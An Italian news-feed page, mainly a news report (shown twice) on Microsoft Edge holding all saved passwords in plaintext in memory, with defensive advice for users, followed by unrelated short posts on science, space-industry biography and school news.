Rønning ha testato Chrome, Brave, Vivaldi, Opera ed Edge. Tutti gli altri browser basati su Chromium decifrano una singola password nel momento in cui serve, per esempio quando l’utente accede al sito corrispondente; Edge invece carica l’intero archivio in memoria all’apertura, indipendentemente dal fatto che le credenziali servano in quella sessione.

Il problema è stato riprodotto anche da Rob VandenBrink del SANS Internet Storm Center, che ha mostrato come basti generare un dump di memoria del processo Edge, senza privilegi particolari, per leggere tutte le credenziali. La schermata che chiede la riautenticazione prima di mostrare una password salvata diventa quindi più scenografica che protettiva, visto che il processo del browser ha già tutto in chiaro.

Il rischio reale, soprattutto in ambienti condivisi


Un utente con accesso locale al proprio computer, e in particolare un eventuale malware che gira con i suoi stessi privilegi, può estrarre l’intero archivio di password senza decifrare nulla. La situazione si fa pesante in contesti come terminal server, desktop remoti, infrastrutture VDI o macchine multiutente, dove un account amministratore compromesso può raccogliere le credenziali di tutte le sessioni in cui Edge è rimasto aperto, comprese quelle disconnesse.

Un dettaglio rende la scelta di Microsoft ancora meno comprensibile. Circa un anno fa l’azienda ha rimosso la gestione password da Microsoft Authenticator, spingendo chi usava quella funzione a salvare le credenziali direttamente in Edge. Gli utenti che hanno seguito quel percorso si trovano ora con un archivio leggibile in memoria a ogni avvio del browser.

Cosa conviene fare


Chi ha salvato password in Edge può limitare il rischio in pochi passaggi: disattivare il password manager del browser, esportare le credenziali e importarle in un gestore dedicato, infine eliminare quelle ancora presenti in Edge. È anche il momento giusto per cambiare le password più sensibili e attivare l’autenticazione a due fattori dove possibile.

Per chi cerca un’alternativa con cifratura end-to-end, supporto a passkey e codici 2FA integrati, una delle opzioni più solide del settore è Proton Pass

Rønning ha annunciato che pubblicherà su GitHub uno strumento per consentire a chiunque di verificare in autonomia se le proprie password Edge sono leggibili in memoria.

SOURCE:// proton.me
SOURCE:// pcworld.com
SOURCE:// isc.sans.edu


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Le password salvate in Edge sono leggibili (in chiaro) nella RAM, e per Microsoft non è un bug


Un ricercatore ha mostrato che Microsoft Edge carica in memoria in chiaro tutte le password salvate, non solo quella in uso. L'azienda risponde che è una scelta di design intenzionale.
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Tutte le password salvate in Microsoft Edge restano in memoria del browser in chiaro per l’intera durata della sessione, non solo quella del sito su cui si sta effettuando il login. La scoperta arriva dal ricercatore norvegese Tom Jøran Sønstebyseter Rønning, che ha pubblicato un video dimostrativo e ha contattato Microsoft. La risposta dell’azienda, come riporta anche PCWorld, è che il comportamento non è un bug ma una scelta di design intenzionale.

Solo Edge tra i browser Chromium


Rønning ha testato Chrome, Brave, Vivaldi, Opera ed Edge. Tutti gli altri browser basati su Chromium decifrano una singola password nel momento in cui serve, per esempio quando l’utente accede al sito corrispondente; Edge invece carica l’intero archivio in memoria all’apertura, indipendentemente dal fatto che le credenziali servano in quella sessione.

Il problema è stato riprodotto anche da Rob VandenBrink del SANS Internet Storm Center, che ha mostrato come basti generare un dump di memoria del processo Edge, senza privilegi particolari, per leggere tutte le credenziali. La schermata che chiede la riautenticazione prima di mostrare una password salvata diventa quindi più scenografica che protettiva, visto che il processo del browser ha già tutto in chiaro.

Il rischio reale, soprattutto in ambienti condivisi


Un utente con accesso locale al proprio computer, e in particolare un eventuale malware che gira con i suoi stessi privilegi, può estrarre l’intero archivio di password senza decifrare nulla. La situazione si fa pesante in contesti come terminal server, desktop remoti, infrastrutture VDI o macchine multiutente, dove un account amministratore compromesso può raccogliere le credenziali di tutte le sessioni in cui Edge è rimasto aperto, comprese quelle disconnesse.

Un dettaglio rende la scelta di Microsoft ancora meno comprensibile. Circa un anno fa l’azienda ha rimosso la gestione password da Microsoft Authenticator, spingendo chi usava quella funzione a salvare le credenziali direttamente in Edge. Gli utenti che hanno seguito quel percorso si trovano ora con un archivio leggibile in memoria a ogni avvio del browser.

Cosa conviene fare


Chi ha salvato password in Edge può limitare il rischio in pochi passaggi: disattivare il password manager del browser, esportare le credenziali e importarle in un gestore dedicato, infine eliminare quelle ancora presenti in Edge. È anche il momento giusto per cambiare le password più sensibili e attivare l’autenticazione a due fattori dove possibile.

Per chi cerca un’alternativa con cifratura end-to-end, supporto a passkey e codici 2FA integrati, una delle opzioni più solide del settore è Proton Pass

Rønning ha annunciato che pubblicherà su GitHub uno strumento per consentire a chiunque di verificare in autonomia se le proprie password Edge sono leggibili in memoria.

SOURCE:// proton.me
SOURCE:// pcworld.com
SOURCE:// isc.sans.edu

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𝗖’𝗲̀ 𝘀𝘁𝗮𝘁𝗮 𝘂𝗻𝗮 𝘀𝗰𝗶𝗲𝗻𝘇𝗶𝗮𝘁𝗮 𝗰𝗵𝗲 𝗵𝗮 𝗿𝗮𝗰𝗰𝗼𝗻𝘁𝗮𝘁𝗼 𝗶𝗹 𝗺𝗮𝗿𝗲 𝗰𝗼𝗺𝗲 𝘂𝗻𝗮 𝘀𝘁𝗼𝗿𝗶𝗮

Rachel Carson, biologa marina e divulgatrice, è stata tra le prime a descrivere gli oceani come un sistema complesso e dinamico, fondamentale per il funzionamento della Terra. Con una straordinaria capacità di unire rigore scientifico e chiarezza narrativa, ha descritto il ruolo degli oceani negli equilibri del pianeta.

Ritratto di una scienziata: buff.ly/yJlKwV8

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DigiCert Breached via Weaponized Screensaver: Threat Actor Steals EV Code Signing Certificates to Spread Zhong Stealer
#CyberSecurity
securebulletin.com/digicert-br…

194° Mercoledì di Nexa – Macchine dotate di linguaggio. Che cosa l’Intelligenza artificiale generativa ci dice dell’essere umano

Le notizie dal Centro Nexa su Internet & Società del Politecnico di Torino su @Etica Digitale (Feddit)

20 maggio 2026 | CLAUDIO PAOLUCCI (Università di Bologna)
The post 194° Mercoledì di Nexa – Macchine dotate di linguaggio. Che cosa l’Intelligenza artificiale generativa ci dice dell’essere umano

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Sparatoria in una scuola in Brasile, due morti e feriti

@scuola

corriereuniv.it/sparatoria-in-…

Due persone sono morte e diversi studenti sono rimasti feriti in una sparatoria avvenuta all’interno dell’istituto São José di Rio Branco, capitale dello Stato brasiliano dell’Acre, nell’Amazzonia occidentale. Secondo quanto riportano i media

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Da bambina non sembra certo predestinata a guidare la più importante azienda spaziale al mondo. Non sogna affatto di fare l’astronauta e quando a cinque anni vede lo sbarco sulla Luna dell’Apollo 11 lo trova piuttosto noioso.

Le interessa capire come funzionano le cose e impara presto a ripararsi la bicicletta da sola, ma da adolescente le piace anche vestirsi con stile e pensa che gli ingegneri siano nerd e disadattati. Così, quando la madre la accompagna a un convegno della Society of Women Engineers, di proposito non le dice dove stanno andando, perché sa che altrimenti si rifiuterebbe di venire.

Assiste agli interventi controvoglia, finché rimane colpita da una relatrice non per le sue parole, ma per le scarpe impeccabili e la borsa abbinata, che smontano i suoi pregiudizi contro gli ingegneri.

Prende la laurea triennale in ingegneria meccanica alla Northwestern University di Chicago, dove è una delle tre donne in un corso con trentasei studenti, per poi conseguire la laurea magistrale in matematica applicata.

Sostiene un colloquio con l’IBM il 28 gennaio 1986: il giorno del disastro dello Space Shuttle Challenger. L’immagine di quel razzo che esplode in diretta televisiva la turba e il colloquio non va bene. Dopo un’esperienza poco felice nel settore automobilistico alla Chrysler, nel 1988 approda all'Aerospace Corporation di El Segundo in California, dove lavora per dieci anni in analisi termica, ingegneria di sistema e project management.

Nel 1998 passa a una piccola azienda di razzi low cost, chiamata Microcosm. Quattro anni dopo va a pranzo con un suo ex collega della Microcosm, Hans Koenigsmann, appena entrato in una nuova startup spaziale. Incontra anche il fondatore della startup e due settimane dopo accetta di diventare la settima dipendente dell’azienda, con il compito di dedicarsi allo sviluppo commerciale. È una scelta rischiosa: le startup nel settore dei razzi di solito hanno vita breve. Ma non sarà il caso di questa. Forse l’avete già sentita nominare: si chiama SpaceX e il suo fondatore è Elon Musk.

I primi anni non sono facili. Il Falcon 1, il primo razzo di SpaceX, fallisce tre lanci consecutivi tra il 2006 e il 2008. Al quarto tentativo, nel settembre 2008, Gwynne guarda il webcast dalla sua camera d'albergo a Glasgow, dove si trova per una conferenza, con la doccia aperta per non svegliare il marito che dorme nell'altra stanza. Quando il Falcon 1 raggiunge l'orbita per la prima volta, non riesce a trattenersi: in pigiama, urla e corre per il corridoio dell'albergo ad abbracciare i colleghi. "Totalmente poco professionale", dirà ridendo. Ma è il momento della svolta.

Pochi mesi dopo, a dicembre 2008, negozia con la NASA il primo contratto da 1,6 miliardi di dollari per i rifornimenti alla Stazione Spaziale Internazionale. Il giorno stesso viene promossa presidente e chief operating officer di SpaceX. Da quel momento in poi è lei a tenere in piedi la macchina operativa dell'azienda.

Sotto la sua guida SpaceX ottiene una serie di primati: prima azienda privata a lanciare, mettere in orbita e recuperare un veicolo spaziale; prima a portare astronauti sulla ISS; prima a far atterrare un razzo orbitale su terraferma e su una piattaforma oceanica; prima a riutilizzare un razzo orbitale già volato. Il 30 maggio 2020, con la missione Crew Dragon che trasporta Doug Hurley e Bob Behnken, mette fine a un periodo di quasi dieci anni in cui gli Stati Uniti non erano in grado di portare autonomamente i propri astronauti in orbita e dovevano fare affidamento sulla Sojuz russa.

Considera essenziale promuovere le carriere STEM tra le ragazze, esattamente come quella sconosciuta ingegnera con le belle scarpe ha fatto con lei decenni fa. Contribuisce a raccogliere quasi due milioni di dollari in borse di studio per studenti di ingegneria.

È sposata con un ingegnere del JPL della NASA, ha due figli dal primo matrimonio e un ranch in Texas, che ha tutta l'intenzione di trasformare in un vigneto, non lontano dal sito di test di SpaceX a Boca Chica.

Nel 2020 viene eletta alla National Academy of Engineering. È forse la manager più influente in tutto il settore spaziale mondiale, eppure fuori dall'industria in pochi la conoscono. Ma tra le ragazze che l’hanno sentita parlare in un TED o in un'aula universitaria ce ne sono molte che seguiranno la sua strada e forse qualcuna diventerà importante quanto lei.

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Rinnovo del contratto scuola, il 12 maggio all’Aran riprende la trattativa

@scuola

corriereuniv.it/rinnovo-del-co…

Prenderà il via a breve la contrattazione sulla sezione normativa del contratto relativo al triennio 2025-27 per il personale scolastico, trattativa che segue quella sulla parte economica